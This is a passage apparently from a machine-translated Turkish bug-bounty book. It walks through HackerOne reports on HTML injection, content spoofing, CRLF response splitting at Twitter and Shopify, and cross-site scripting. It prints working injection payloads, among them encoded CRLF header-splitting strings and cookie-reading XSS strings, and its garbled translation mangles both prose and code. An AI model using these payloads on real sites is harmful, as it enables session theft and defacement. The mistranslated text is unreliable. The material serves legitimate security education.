React bileşeni (React, dinamik olarak güncellemek için kullanılabilecek bir Javascript kütüphanesidir.
web sayfasının içeriği, sayfayı yeniden yüklemeden). HackerOne uygulamasında, onlar
Potansiyel sömürüye yol açan HTML çıktısını düzgün şekilde aşmak değildi. Şimdi
Açıklamaya bakınca, yeni kodu test edeceğimi düşündüm. Geri döndüm ve test ettim
ekleyerek:

[test] (http://www.torontowebsitedeveloper.com "test ismap =" uyarı xss "yyy =" test "")

[2] https://hackerone.com/reports/112935
[3] https://hackerone.com/intidc

Sayfa 52

hangi olarak işlendi:

 Test

Gördüğünüz gibi, <a> etiketine bir sürü HTML enjekte ettim . Sonuç olarak,
HackerOne orijinal düzeltmelerini geri aldı ve tek tekliften kaçmak için çalışmaya başladı
tekrar.

çıkarımlar

Kod güncellendiğinden, her şeyin sabit olduğu anlamına gelmez. Test et.
Bir değişiklik yapıldığında, bu aynı zamanda hataları içerebilecek yeni bir kod anlamına gelir.
Ek olarak, bir şeyin doğru olmadığını düşünüyorsanız, kazmaya devam edin! Ben ilk biliyordum
Son tek bir alıntı yapmak sorun olabilir, ancak nasıl yararlanacağımı bilmiyordum ve
durdu. Devam etmeliydim. Aslında meta yenileme hakkında öğrendim
FileDescriptor'ın blog.innerht.ml dosyasını okuyarak faydalanma (Kaynaklara dahil edilmiştir)
bölüm) ama çok sonra.

3. Güvenlik İçeriği Sahteciliği İçinde

Zorluk : Düşük

URL : withinsecurity.com/wp-login.php

Rapor Bağlantısı : https://hackerone.com/reports/111094[4]
Rapor Tarihi : 16 Ocak 2015

Ödemeli Ödül : 250 $

Tanım :

İçerik sahtekarlığı teknik olarak HTML'den farklı bir güvenlik açığı olsa da
enjeksiyon, ben bir siteye sahip bir saldırganın benzer doğasını paylaşan olarak buraya dahil
seçtikleri içeriği verdi.

Güvenlik içinde, giriş yolunu içeren Wordpress platformunda inşa edilmiştir.
withinsecurity.com/wp-login.php (site o zamandan beri HackerOne çekirdeğiyle birleştirilmiştir.
platformu). Bir hacker, giriş işlemi sırasında, bir hata oluştuğunda, içinde olduğunu fark etti.
Güvenlik, ayrıca error parametresine karşılık gelen access_denied işlevini verir
URL'de:

https://withinsecurity.com/wp-login.php?error=access_denied

Bunu farkeden hacker, error parametresini değiştirmeyi denedi ve ne olduğunu buldu.
değer iletildi, siteye sunulan hata iletisinin bir parçası olarak verildi
kullanıcılar. İşte kullanılan örnek:

[4] https://hackerone.com/reports/111094

Sayfa 53

https://withinsecurity.com/wp-login.php?error=Your%20account%20has%20%hacked

WithinSecurity İçerik Sahteciliği

Buradaki anahtar, sayfada görüntülenen URL'deki parametreyi fark ediyordu. Basit
access_denied parametresini değiştirme testi muhtemelen bu güvenlik açığını ortaya çıkardı
Bu da rapora yol açtı.

çıkarımlar

URL parametrelerine iletilmekte ve işlenmekte ve
site içeriği Saldırganların kurbanları aldatması için fırsatlar sunabilirler

bazı kötü niyetli eylemlerde bulunmak. Bazen bu Cross Site ile sonuçlanır
Scripting Attacks, diğer zamanlarda daha az etkili içerik sahtekarlığı ve
HTML enjeksiyonu Akılda tutulması önemlidir, bu rapor 250 dolar öderken,
Güvenlik için asgari ikramiyeydi ve tüm programlar değer ve ödeme yapmazlardı.
bu tür raporlar için.

özet

HTML Enjeksiyonu, siteler ve geliştiriciler için bir güvenlik açığı sunar çünkü
kullanıcıları kimlik avı yapın ve onları kötü niyetli bilgilere hassas bir şekilde gönderme veya onları ziyaret etme konusunda kandırma
web siteleri.

Sayfa 54

Bu tür güvenlik açıklarını keşfetmek her zaman düz HTML göndermekle ilgili değildir
ayrıca, bir sitenin girilen metninizi URI kodlu gibi nasıl yazabileceğini de keşfetme hakkında
karakter. Ve tamamen HTML enjeksiyonuyla aynı olmasa da, içerik sahtekarlığı benzer
Bu, bazı girdilerin HTML sayfasındaki bir kurbana geri yansıtılmasını içerir. hackerlar
URL parametrelerini değiştirme fırsatı bulmalı ve
Sitede işlenenler ancak tüm sitelerin bu türler için değer ve ödeme yapmadığını unutmayın
Raporların

8. CRLF Enjeksiyonu

Açıklama

Bir uygulamada satır başı satır satır besleme (CRLF) enjeksiyon güvenlik açığı oluşuyor
kullanıcı girişini doğru şekilde sterilize etmez ve satırbaşının eklenmesine izin verir
ve satır beslemeleri; HTML de dahil olmak üzere pek çok İnternet protokolü için satırı belirtir.
kırılır ve özel bir önemi vardır.

Örneğin, HTTP mesaj ayrıştırması, bölümlerini tanımlamak için CRLF karakterlerine dayanır.
RFC'lerde tanımlandığı ve tarayıcıların kullandığı, başlıklar dahil olmak üzere HTTP mesajları. URL
kodlanmış, bu karakterler% 0D% 0A, kodu çözülmüş \ r \ n. Etkisi
CRLF Enjeksiyonu, HTTP İsteği Kaçakçılığı ve HTTP Yanıt Bölmesini içerir.

HTTP İsteği Kaçakçılığı, bir HTTP isteği bir sunucudan geçirildiğinde gerçekleşir
bir proxy veya güvenlik duvarı gibi onu işler ve başka bir sunucuya geçirir. Bu tip
güvenlik açığı şunlara neden olabilir:

- Önbellek zehirlenmesi, bir saldırganın başvurulardaki kayıtları değiştirebileceği bir durum
  bir önbellek yerine önbellek ve kötü amaçlı sayfalar (örneğin, JavaScript içeren) sunun
  uygun sayfa
- Güvenliği önlemek için CRLF'ler kullanılarak bir isteğin hazırlanabileceği Güvenlik Duvarı kaçağı.
  çekler
- Saldırı isteme, bir saldırganın HttpOnly çerezlerini çalabileceği bir durum.
  HTTP kimlik doğrulama bilgisi. Bu, XSS'ye benzer ancak etkileşim gerektirmez
  saldırgan ile müşteri arasında

Şimdi, bu güvenlik açıkları mevcut olmakla birlikte, bunları elde etmek ve ayrıntılandırmak zor
bu kitabın kapsamı dışında. Onlara sadece nasıl olduğunu göstermek için buraya başvurdum.
İstek Kaçakçılığının etkisi şiddetli olabilir.

Bununla birlikte, HTTP Yanıt Bölme, bir saldırganın HTTP yanıt başlıkları eklemesine izin verir
ve potansiyel olarak HTTP cevap organlarını kontrol etmek ya da yanıtı tamamen, etkili bir şekilde bölmek
iki ayrı yanıt oluşturma. Bu etkilidir, çünkü HTTP başlıklarını değiştirmek
bir kullanıcıyı beklenmeyen bir web sitesine yönlendirmek gibi istenmeyen davranışlarla sonuçlanabilir veya
saldırganlar tarafından kontrol edilen açıkça yeni içerik sunmak.

1. Twitter HTTP Yanıt Bölme

Zorluk : Yüksek

URL : https://twitter.com/i/safety/report_story

Rapor Bağlantısı : https://hackerone.com/reports/52042 [1]

Rapor Tarihi : 21 Nisan 2015

Ödemeli Ödül : 3.500 Dolar

Tanım :

Nisan 2015'te, @filedescriptor, Twitter'a bilgisayar korsanlarına izin veren bir güvenlik açığı olduğunu bildirdi
Bir HTTP isteğine ek bilgi girerek keyfi bir çerez oluşturmak için.

Esasen, HTTP isteği https://twitter.com/i/safety/report_story (Twitter kalıntı izin verien
kullanıcıların uygunsuz reklamları bildirmelerini sağlamak), bir report_tweet_id parametresi içerecektir.
Yanıt verirken, Twitter aynı parametreyi içeren bir çerez de döndürür
HTTP isteği ile geçti. @Filedescriptor yaptığı testler sırasında CR'nin
LF karakterleri sterilize edildi, LF'nin yerine bir boşluk kondu ve CR sonuçlandı
HTTP 400 (Hatalı İstek Hatası).

Ancak, bir bilgi ansiklopedisi olan FireFox'un daha önce olduğunu bilmişti.
çerezleri ayarlarken alınan geçersiz karakterlerden sıyrılan kodlama hatası
kodlamak yerine. Bu, FireFox'un yalnızca belirli bir aralığı kabul etmesinin bir sonucuydu.
kabul edilebilir değerler Twitter ile benzer bir yaklaşımı test ederek, @filedescriptor kullandı
% 0A ile biten Unicode karakter â˜ (U + 560A), bir Satır Beslemesi. Ama bu değildi
çözüm. Ancak bu parametre URL'de geçiriliyordu, yani URL'ydi.
UTF-8 ile kodlanmış. Sonuç olarak â˜% E5% 98% 8A oldu.

Şimdi, bu değeri göndererek, @filedescriptor, Twitter'ın herhangi bir tespit edemediğini buldu
Kötü niyetli karakterler, sunucusunun değeri Unicode değerine geri döndürür
56 0A ve geçersiz karakteri kaldır. 56 Bu, satır besleme karakterlerini 0A olarak bıraktı.
Süreci gösteren resminde gösterilmiştir:

[1] https://hackerone.com/reports/52042

CRLF Kod Çözme Süreci

Benzer bir şekilde, içeri geçmek mümkün % 20Test:% E5% 98,% 8A% E5% 98,% 8DSet-çerez sonuçlandı
% 0A ve% 0D içinde çerez başlığına dahil edildi ve Set-
Çerez: Twitter'dan tekrar test edin.

Şimdi, CLRF saldırıları, XSS saldırılarına izin verdiklerinde daha da tehlikeli olabilir (bkz.
Daha fazla bilgi için Siteler Arası Komut Dosyası Bölümü). Bu durumda, çünkü Twitter filtreleri vardı
atlandı, @filedescriptor yanıtı bölebilir ve bir kullanıcının çalınması için XSS yürütebilir
oturum ve belirteç. URL, biçimlendirme amacıyla birden fazla satıra bölünmüştür:

Sayfa 58

https://twitter.com/login?redirect_after_login=
https://twitter.com:21/%E5%98%8A%E5%98%8Dcontent-type:text/html%E5%98%8A%E5%98%8D
Yer:% E5% 98,% 8A% E5% 98,% 8D% E5% 98,% 8A% E5% 98,% 8D% E5% 98,% BCsvg / Onload = uyarı% 28innerHT \

ML% 29% E5% 98% BE

Biberlerde 3 bayt değerinin% E5% 98% 8A,% E5% 98% 8D,% E5% 98% BC olduğuna dikkat edin.
% 98,% BE E5%. Bunların hepsi şu şekilde çözüldü:

% E5% 98% 8A => 56 0A =>% 0A
% E5% 98% 8D => 56 0D =>% 0D
% E5% 98% BC = = 56 3C =>% 3C
% E5% 98% BE => 56 3E =>% 3E

Tüm bu karakterleri değiştirmek ve gerçekten satır sonları eklemek, işte başlık
benziyor:

https://twitter.com/login?redirect_after_login=https://twitter.com:21/
içerik türü: text / html
yer:
<Svg / onload = alert (innerHTML)>

Gördüğünüz gibi, satır sonları döndürülecek yeni bir başlık oluşturulmasına izin veriyor
çalıştırılabilir JavaScript kodu ile - svg / onload = alert (innerHTML). Uyarı bir
web sayfasının içeriği ile Twitter için bir kavram kanıtı olarak açılır. Bununla
kodu, kötü niyetli bir kullanıcı şüphesiz bir kurbanın Twitter oturumu bilgilerini çalabilir
Çünkü bu hassas bilgiler enjeksiyon bölgesinden sonra başlık olarak dahil edildi.
@filedescriptor kullandı.

çıkarımlar

İyi saldırı, gözlem ve becerinin bir birleşimidir. Bu durumda, @ filedescrip-
tor, kodlamayı yanlış kullanan önceki bir Firefox kodlama hatasını biliyordu.
Bu bilgiye dayanarak, Twitter'daki benzer kodlamaları denemesine neden oldu.
eklenen kötü amaçlı karakterleri alın.

Zafiyetleri ararken, daima dışını düşünmeyi unutmayın.
kutu ve sitenin girişi nasıl ele aldığını görmek için kodlanmış değerleri gönderin.

2. v.shopify.com Yanıt Bölme

Zorluk : Orta

URL : v.shopify.com/last_shop?x.myshopify.com

Rapor Bağlantısı : https://hackerone.com/reports/106427[2]

[2] https://hackerone.com/reports/106427

Rapor Tarihi : 22 Aralık 2015

Ödemeli Ödül : 500 Dolar

Tanım :

Mağaza yöneticisi olarak, Shopify bir çerez belirleyen sunucu tarafında işlevsellik içerir
Son giriş yaptığınız mağazayı kaydetmek için tarayıcınızda Muhtemelen bu bir
beri giriş ve çıkış yaparken sizi alt alanınıza yönlendirmek için kolaylık işlevi
URL'ler STORENAME.myshopify.com modelini takip ediyor. Bu çerez ayarı bir GET üzerinden gerçekleşir
/last_shop?SITENAME.shopify.com adresine istek gönder

Aralık 2015'te, bir bilgisayar korsanı Shopify'ın shop parametresini doğrulamadığını bildirdi çağrıya aktarılıyor. Sonuç olarak, Burp Suite kullanarak, bu hacker isteği değiştirdi Shopify sunucularından döndürülen yeni başlıklar oluşturmak için% 0d% 0a ekleme. İşte bir ekran görüntüsü:

Shopify HTTP Yanıt Bölme

İşte kötü amaçlı kod:

% 0d% 0aContent-Uzunluk:% 200% 0d% 0a% 0d% 0aHTTP / 1.1% 20200% 20OK% 0d% 0aContent-Tip:% 20te \
xt / html% 0d% 0aContent-Uzunluk:% 2019% 0d% 0a% 0d% 0a **<html>** deface **</html>**

Bu durumda,% 20 bir boşluğu temsil eder ve% 0d% 0a, CRLF'dir. Sonuç olarak, tarayıcı iki geçerli HTTP yanıtı aldı ve XSS ve phishing dahil olmak üzere çeşitli güvenlik açıkları.

çıkarımlar

Bir sitenin girişinizi kabul ettiği ve kullandığı fırsatlar için uyanık olun dönüş çerezlerinin bir parçası olarak, özellikle çerezleri ayarlayarak. Bu özellikle mağdurdan daha az etkileşim olması nedeniyle, bir GET isteği ile gerçekleştiğinde önemli gereklidir.

Sayfa 60

özet

İyi saldırı, gözlem ve becerinin bir birleşimidir ve kodlamanın ne olduğunu bilmek Karakter açıklarından yararlanabilmek için kullanılabilecek zayıf bir beceridir. % 0D% 0A CRLF Enjeksiyon sorunlarına yol açabileceği için özellikle önemli karakterlerdir. Ne zaman Hacking, potansiyel olarak saldırgan tarafından kontrol edilen parametrelerin aranmasına dikkat edin. HTTP başlığına geri yansıtılıyor. Eğer öyleyse, siteyi kullanımları için test etmeye başlayın kodlanmış karakterlerin, özellikle% 0D% 0A. Başarılı olursa, bir adım daha atmaya çalışın ve güvenlik açığını etkileyici bir konsept kanıtı için bir XSS enjeksiyonuyla birleştirin.

Öte yandan, sunucu% 0D% 0A'ya yanıt vermiyorsa, nasıl yapabileceğinizi düşünün bu karakterleri çift kodlayın,% 250D değerini geçen veya olayda, site @ @filedescriptor'ın yaptığı gibi ekstra değerleri yanlış kullanıyordur.

9. Siteler Arası Komut Dosyası Yazma

Açıklama

Siteler arası komut dosyası çalıştırma (veya XSS) güvenlik açığı en ünlü örneklerinden biri
Samy Kamkar tarafından oluşturulan Myspace Samy Solucanı. Ekim 2005'te Samy sömürüldü
Myspace'de bir JavaScript yükünü depolamasına izin veren bir XSS güvenlik açığı
onun profili. Giriş yapan bir kullanıcı Myspace profilini ziyaret ettiğinde, yük taşıma kodu
yürüterek, izleyicinin Samy'nin arkadaşını Myspace'de çalıştırması ve izleyicinin profilini güncellemesi
"ama hepsinden önemlisi samy benim kahramanım" metnini görüntülemek için. Sonra kod kendini kopyalardı
İzleyicinin profiline gidin ve diğer Myspace kullanıcı sayfalarını etkilemeye devam edin.

Samy solucanı kötü niyetli bir niyetle yaratmadıysa da, Myspace çok kibar davranmadı
ona ve hükümet Samy'nin evine baskın düzenledi. Samy, serbest bırakıldığı için tutuklandı
solucan ve suçundan ağır suçla suçu reddetti.

Samy'nin solucanı aşırı bir örnek olsa da, yaptığı istismara göre geniş bir etki
XSS güvenlik açığı bir web sitesinde olabilir. Ele aldığımız diğer güvenlik açıklarına benzer
şu ana kadar, web siteleri belirli karakterleri izinsiz hale getirdiğinde XSS açıkları ortaya çıkıyor,
bu da tarayıcıların istenmeyen JavaScript çalıştırmasına neden olur. Bu karakterler çift içerir

tırnak (“), tek tırnak (') ve açılı ayraçlar (<>). Onlar özel çünkü onlar
Bir web sayfasının yapısını tanımlamak için HTML ve JavaScript’te kullanılır. Örneğin, bir site olmasaydı
köşeli parantezleri dezenfekte ederek <script> </script> 'i ekleyebilirsiniz :

<Script> alert (document.domain) </ script>

Bu yük bir web sitesine gönderildiğinde ve sağlıksız hale getirildiğinde, <script> </script>
etiketler tarayıcıya aralarında JavaScript'i çalıştırmasını söyler. Bu durumda,
Yük, görüntülenen bir açılır pencereyi oluşturan uyarı işlevini uygular.
bilgi alarma geçti. Parantez içindeki belgeye referans
DOM ve bu durumda, sitenin etki alanı adını döndürür. Yük taşınırsa
üzerinde https://www.example.com/foo/bar , pop-up kutusu görüntüleyecektir www.example.com .

Bir site bu karakterleri uygun şekilde sterilize ediyor olsaydı, HTML olarak işlenirdi
varlıklar. Onlarla bir web sayfasının sayfa kaynağını görüntülemek, "şeklinde & quot; veya
& # 34; , 'olarak & ' ; veya & 39; , <olarak & lt; veya & # 60; ve> olarak & gt; veya & # 62; .

Bir XSS güvenlik açığı bulduktan sonra, etkisini onaylamalısınız, çünkü hepsi değil
XSS güvenlik açıkları aynıdır. Bir hatanın cihazınızdaki etkisini doğrulama ve onaylama
yazma, raporunuzu geliştirecek, tetikçilerin hatayı doğrulamasına yardımcı olacak ve
senin ödülün.

Sayfa 62

Örneğin, bir sitedeki httpOnly bayrağını kullanmayan bir XSS güvenlik açığı
Hassas çerezler, bir XSS güvenlik açığından farklıdır. HttpOnly olmadan
bayrak, XSS’niz çerez değerlerini okuyabilir ve bunlar oturum tanımlayıcı çerezleri içeriyorsa,
Bir hedefin oturumunu çalabilir ve hesaplarına erişebilirsiniz. Uyarabilirsin
Bunu onaylamak için document.cookie (hangi çerezlerin hassas olarak değerlendirildiğini bilmek
bir site, site bazında deneme yanılma gerektirir). Sahip olmadığın durumlarda bile
Hassas tanımlama bilgilerine erişebilirseniz, bunu yapıp yapamayacağınızı onaylamak için document.domain öğesini uyarabilirsiniz.
DOM’den hassas kullanıcı bilgilerine erişme ve
hedef. Doğru etki alanı uyarılmadıysa, XSS site için bir güvenlik açığı olmayabilir.

Document.domain öğesini bir sandboxed iFrame'den uyarırsanız, örneğin JavaScript
çerezlere erişemediğinden, kullanıcının hesabında işlem yapamadığından veya
DOM’dan hassas kullanıcı bilgilerine erişin. Bunun nedeni tarayıcıların bir
Güvenlik mekanizması olarak aynı Menşe Politikası (SOP).

SOP, belgelerin (DOM'deki D) kaynaklarla nasıl etkileşime girmesine izin verildiğini kısıtlar
başka bir kaynaktan yüklendi. SOP masum web sitelerini kötü niyetli sitelerden koruyor
kullanıcı aracılığıyla onlardan yararlanmaya çalışmak. Örneğin, www.malicious.com adresini ziyaret ettiyseniz
ve tarayıcınızda www.example.com/profile adresine bir GET isteği çağırdı;
www.malicious.com’un www.example.com/profile yanıtını okumasını engelleyin . Ancak,
www.example.com , diğer sitelerin orijinale çapraz etkileşim kurmasına izin verebilir, ancak bu genellikle
belirli web siteleriyle sınırlı ve geniş, sınırsız etkileşim genellikle bir hatadır.

Bir sitenin kökeni, ana bilgisayar protokolü (örneğin, HTTP veya HTTPS) tarafından belirlenir.
(örneğin, www.example.com) ve web sitesinin bağlantı noktası. Bu kuralın istisnası
, bağlantı noktasını kaynağın bir parçası olarak kabul etmeyen Internet Explorer'dır. İşte
Bazı köken örnekleri ve aynı olarak kabul edilip edilmeyecekleri
http://www.example.com .

URL	Aynı Köken?	neden
http://www.leanpub.com/web-hack-101	Evet	N / A

http://www.leanpub.com/a/yaworsk	Evet	N / A
https://www.leanpub.com/web-hack-101	Hayır	Farklı protokol
http://store.leanpub.com/web-hack-101	Hayır	Farklı ev sahibi
http://www.leanpub.com:8080/web-hack-101	Hayır	Farklı liman

URL'nin orijin ile eşleşmeyeceği bazı durumlar vardır. Tarayıcılar
farklı iki SOP şemaları bağlamında: hakkında: boş ve JavaScript: . Bu iki şema
bunları açarak belgenin kökenini devralır. About: blank bağlamının bir parçası
Tarayıcıdan bilgiye erişmek veya tarayıcıyla etkileşimde bulunmak için kullanılan URL şeması
kendisi. JavaScript URL şeması, JavaScript'i yürütmek için kullanılır. URL sağlamıyor

Sayfa 63

orijini hakkında bilgi, bu yüzden iki şema farklı ele alınır.

Bir XSS güvenlik açığı bulduğunuzda, kanıtınızda uyarı (document.domain) kullanarak
kavram faydalıdır, çünkü XSS'nin yürütüldüğü yeri teyit eder, örneğin
tarayıcıda gösterilen URL'nin orijinalden farklı olduğu durumlarda
XSS'nin karşı çalıştığını. Bu tam olarak bir web sitesi açıldığında ne olur
javascript: URL. Www.example.com bir javascript: alert (document.domain) URL'si açtıysa,
tarayıcı adresi javascript gösterir : uyarısı (document.domain) ancak uyarı kutusu şöyle derdi:
Uyarı, önceki belgenin kaynağını devraldığı için www.example.com.

XSS'ye ulaşmak için yalnızca <script> etiketini kullanan bir örnek ele alsak da,
Potansiyel bir enjeksiyon bulduğunuzda HTML etiketlerini her zaman gönderemezsiniz. Bunun içinde
Bu durumda, bir XSS yükünü enjekte etmek için tek veya çift tırnak göndermeye devam edebilirsiniz.
Enjeksiyonun gerçekleştiği yere bağlı olarak bu hala önemli olabilir. Örneğin, hadi
Aşağıdaki kodun değer özelliğine erişiminiz olduğunu söyleyin:

```
<input type = "text" name = "kullanıcı adı" value = "korsan">
```

Değer özelliğine çift bir teklif enjekte ederek mevcut teklifi kapatabilirsiniz.
ve etikete kötü amaçlı bir XSS yükü enjekte edin. Bunu değeri değiştirerek yapabilirsiniz.
özniteliğini Hacker "onfocus = alert (document.cookie'yi) otofokus" neden olacaktır:

```
<input type = "text" name = "kullanıcı adı" value = "korsan" onfocus = alert (document.cookie) otomatik odaklama "">
```

Otomatik odaklama özelliği, tarayıcıya imleç odağını girişe yerleştirmesi için talimat verir.
Sayfa yüklenir yüklenmez ve metin kutusu netlendiğinde metin kutusu kullanılan bir JavaScript özelliğidir
Tarayıcıya, giriş metin kutusu odak olduğunda JavaScript'i çalıştırmasını söyleme
otomatik odaklama, odaklanma genellikle bir kişi metin kutusunu tıkladığında gerçekleşir). Ancak,
bu, gizli bir alana otomatik netleme yapamayacağınız ve bir ekranda birden çok alan varsa
otofokus olan sayfa, ilk veya son öğeye bağlı olarak odaklanacak.
tarayıcı test için kullanılır. Yük çalıştırıldığında, document.cookie'yi uyarır.

Benzer şekilde, bir script etiketindeki bir değişkene erişiminiz olduğunu varsayalım. Yapabilseydin
Aşağıdaki koddaki isim değişkeni değerine tek tırnaklar eklerseniz,
değişkeni kapatın ve kendi JavaScript'inizi çalıştırın:

```
<Script>
    var name = 'hacker';
</ Script>
```

Burada, hacker değerini kontrol ettiğimizden, ad değişkenini hacker olarak değiştirerek '; alert (document.cookie);'

sonuçlanır:

Sayfa 64


```
<Script>
    var name = 'hacker'; alert (document.cookie); ";
</ Script>
```

Tek bir fiyat teklifi ve noktalı virgül enjekte etmek değişken ismini kapatır ve
<script> etiketi, enjekte ettiğimiz JavaScript işlevi uyarısı (document.cookie)
idam. Bir ek ekledik; ' işlev çağrımızı sonlandırmak ve JavaScript'in
site içerdiği için sözdizimsel olarak doğru '; isim değişkenini kapatmak için. 'Olmadan;
Sonunda, sayfa sözdizimini kırabilecek sarkan bir tek alıntı olacaktı.

XSS için testler açısından, iki ana tür olduğunu fark etmek önemlidir.
XSS: yansıtılmış ve kaydedilmiştir. Yansıtılmış XSS, XSS yükü teslim edildiğinde gerçekleşir ve
Tek bir HTTP isteği ile gerçekleştirilir ve sitenin hiçbir yerinde saklanmaz. Olmadığından
saklandı, başka bir HTTP isteği göndermeden yükü çalıştırmak mümkün değil
yük ile. Ancak, tarayıcıların (Chrome, Internet Explorer, Edge ve Safari)
XSS Denetçileri'ni tanıtarak bu tür güvenlik açığını önlemeye çalıştı. Bu inşa
işlevsellikte tarayıcılar kullanıcıları kötü niyetli bağlantılardan korumaya teşebbüs etmiş
JavaScript'i yürütün. Bu olduğunda, tarayıcı tipik olarak bozuk bir sayfa gösterir.
kullanıcıları korumak için sayfayı belirten bir mesaj engellendi.

Tarayıcı geliştiricilerin en iyi çabalarına rağmen, XSS Denetçileri sık sık atlanıyor
Bir sitede JavaScript'in yürütülmesinin karmaşık yollarından dolayı. Bunlardan dolayı
sık sık değişimleri atlar, bu kitabın kapsamı dışındadır ancak iki
kaynakları, FileDescriptor'ın x-xss koruma başlığındaki blog yazısıdır.[1] ve Masato
Kinugawa'nın filtresi, kopya kağıdı [2]yi atladı .

Buna karşılık, depolanan XSS, bir site kötü amaçlı bir yük oluşturduğunda ve oluşturduğunda ortaya çıkar
Temizlenmemiş. Depolanan XSS'yi ararken, sitelerin görüntüleyebileceğini unutmayın.
Girilen yük, çeşitli konumlarda. Yükün yürütülememesi mümkündür
gönderdikten hemen sonra ancak başka bir sayfaya erişildiğinde çalışabilir. İçin
Örneğin, bir web sitesinde, adınız olarak XSS yükü olan bir profil oluşturduysanız,
Profilinizi görüntülediğinizde XSS çalışmayabilir, ancak birileri arandığında
adınız veya birisi size bir mesaj gönderdi.

XSS ayrıca üç alt türe ayrılabilir: DOM Based, Blind ve Self. DOM
Tabanlı XSS, bir web sitesinin mevcut JavaScript kodunu yürütmek üzere değiştirilmesinin bir sonucudur
zararlı javascript ve Saklı veya Yansıyan olabilir. Örneğin, bir web sitesi
web sitesinin içeriğini URL'den bir değerle değiştirmek için aşağıdaki HTML'yi kullandı
Kötü niyetli giriş kontrolü yapmadan XSS yürütmek mümkün olabilir:

[1] https://blog.innerht.ml/the-misunderstood-x-xss-protection/

[2] https://github.com/masatokinugawa/filterbypass/wiki/Browser's-XSS-Filter-Bypass-Cheat-Sheet

```
<Html>
  <Body>
    <h1> Merhaba <span id = "name" > </span> </h1>
    <Script>
      Document.getElementById ( 'adı'). innerHTML = location.hash.split ( '#') [1]
    </ Script>
  </ Body>
</ Html>
```

Bu örnek web sayfasında, script etiketi belge nesnesinin getElementById dosyasını çağırıyor
HTML öğesini 'name' kimliğiyle bulma yöntemi. Bu bir referans döndürür
<h1> etiketindeki span öğesi . Daha sonra, script etiketi metnin metnini değiştiriyor.
arasında </ span> innerHTML yöntemi kullanılarak. Komut dosyası
arasındaki metni </ span> Bir # sonra location.hash gelen değere, ya da bir şey
URL'de (konum, DOM'ye benzer bir başka tarayıcı API'sidir ve erişim sağlar
geçerli URL hakkında bilgi almak için).

Bu sayfaya www.example.com/hi adresinden erişilebilirse, www.example.com/hi#Peter adresini ziyaret edin.
sayfanın HTML'sinin dinamik olarak <h1> Hi Peter </h1> olarak güncellenmesine neden olur . Ancak,
Bu sayfa, yayılma öğesini güncellemeden önce URL'deki # değerini sterilize etmediğinden,
Bir kullanıcı www.example.com/h1#<img src = x onerror = alert (document.domain)> adresini ziyaret ettiğinde , bir JavaScript
Uyarı kutusu, gösterilen www.example.com ile birlikte açılır (x görüntü olmadığını varsayarsak)
tarayıcıya geri döndü). Sayfadan sonuçlanan HTML şöyle görünür:

```
<Html>
  <Body>
    <h1> Merhaba <span id = "name" > <img src = x onerror = alert (document.domain) > </span> </h1>
    <Script>
      Document.getElementById ( 'adı'). innerHTML = location.hash.split ( '#') [1]
    </ Script>
  </ Body>
</ Html>
```

Kör XSS, XSS yükünün başka bir kullanıcı tarafından oluşturulduğu, depolanmış bir XSS türüdür.
web sitesinin bir bilgisayar korsanı genellikle erişemez. Örneğin, bu olabilir
Kişisel bir şey oluştururken XSS'yi adınız ve soyadınız olarak ekleyebilirsiniz.
bir sitedeki profili. Düzenli kullanıcılar profilinizi görüntülediğinde bu değerler kaçabilir
ancak bir yönetici, sitedeki tüm yeni kullanıcıları listeleyen bir yönetim sayfasını ziyaret ettiğinde,
değerler sterilize edilemez ve XSS çalıştırılamaz. XSSHunter aracıMatt tarafından [3]
Bryant bunları tespit etmek için harika. Matt tarafından tasarlanan yükler JavaScript'i çalıştırıyor
DOM, tarayıcı bilgileri, çerezleri okumak için tasarlanmış bir uzaktan komut dosyasını yükler,

[3] https://xsshunter.com/

ve komut dosyası ne zaman XSSHunter hesabınıza geri gönderileceği diğer bilgiler
Idam edildi.

Kendi kendine XSS güvenlik açıkları saklanabilir veya saklanmayabilir ancak genellikle kullanıcıyı etkileyebilir
yüke girmek, dolayısıyla addaki “ben”. Örneğin, bu meydana gelebilir
XSS bir POST isteği yoluyla gönderilir, ancak istek CSRF tarafından korunur;
hedef, XSS yükünü gönderebilir. Bir saldırgan yalnızca kendilerine saldırabildiğinden, bu
XSS türü genellikle düşük ciddiyet olarak kabul edilir ve hata ödül programları tarafından ödenmez.
Bu tür bir XSS bulursanız, not almak ve fırsat aramak için en iyisi
oturum açma / kapatma CSRF gibi masum kullanıcılara saldırmak için başka bir güvenlik açığı ile birleştirin.
Bu tür bir saldırıda, hedeflerinden biri hesaptan çıkarılır ve saldırganın hesabına kaydedilir.
Kötü niyetli JavaScript yürütmek için hesap. Bu saldırı tipik olarak
Kötü niyetli JavaScript ile hedefi tekrar bu hesaba giriş yapın ve harika bir örnek
Jack Whitton tarafından Uber'deki sitelerden birinde yayınlanan [4] .

XSS’nin etkisi, depolanıp depolanmadığı veya
Çerezlerin erişilebilir olup olmadığı, yükün nerede yürüdüğü vb.
Potansiyel sonuçlara rağmen, XSS açıklarını düzeltmek çoğu zaman kolaydır ve yalnızca
önce yazılım geliştiricilerin kullanıcı girişini (HTML enjeksiyonu gibi) dezenfekte etmesini gerektirir
render.

Örnekler

1. Toptan Shopify

Zorluk : Düşük

URL : wholesale.shopify.com

Rapor Bağlantısı : https://hackerone.com/reports/106293[5]

Rapor Tarihi : 21 Aralık 2015

Ödemeli Ödül : 500 Dolar

Tanım :

Shopify'ın toptancı sitesi [6] , farklı bir harekete geçirme ifadesi olan basit bir web sayfasıdır.
ürün adını ve "Ürünleri Bul" u tıklayın. İşte bir ekran görüntüsü:

[4] https://whitton.io/articles/uber-turning-self-xss-into-good-xss
[5] https://hackerone.com/reports/106293
[6] wholesale.shopify.com

Shopify'ın toptan satış sitesinin ekran görüntüsü

Buradaki XSS güvenlik açığı bulabileceğiniz en temel olanıydı - aramaya girilen metin kutu kaçamadı, bu yüzden girilen herhangi bir Javascript çalıştırıldı. İşte gönderilen metin güvenlik açığı açıklamasından: **test '; alert (' XSS ');'**

Bu çalışmanın nedeni Shopify'ın kullanıcıdan girdi aldığı, araştırmayı yürüttüğü sorgusu ve hiçbir sonuç döndürülmediğinde, Shopify "hayır bu isimde ürünler bulundu ancak girilen Javascript Sayfadaki bir Javascript etiketi içinde geri dönülmemiş. Sonuç olarak, XSS'den yararlanmak güvenlik açığı önemsizdi.

Sayfa 68

çıkarımlar

Metni girdiğiniz durumlar için özel dikkat göstererek her şeyi test edin sana geri döndürülüyor. HTML ekleyip eklemeyeceğinizi belirlemek için test edin veya sitenin nasıl işlendiğini görmek için Javascript. Ayrıca buna benzer kodlanmış girişi deneyin HTML Enjeksiyonu bölümünde açıklanmıştır.

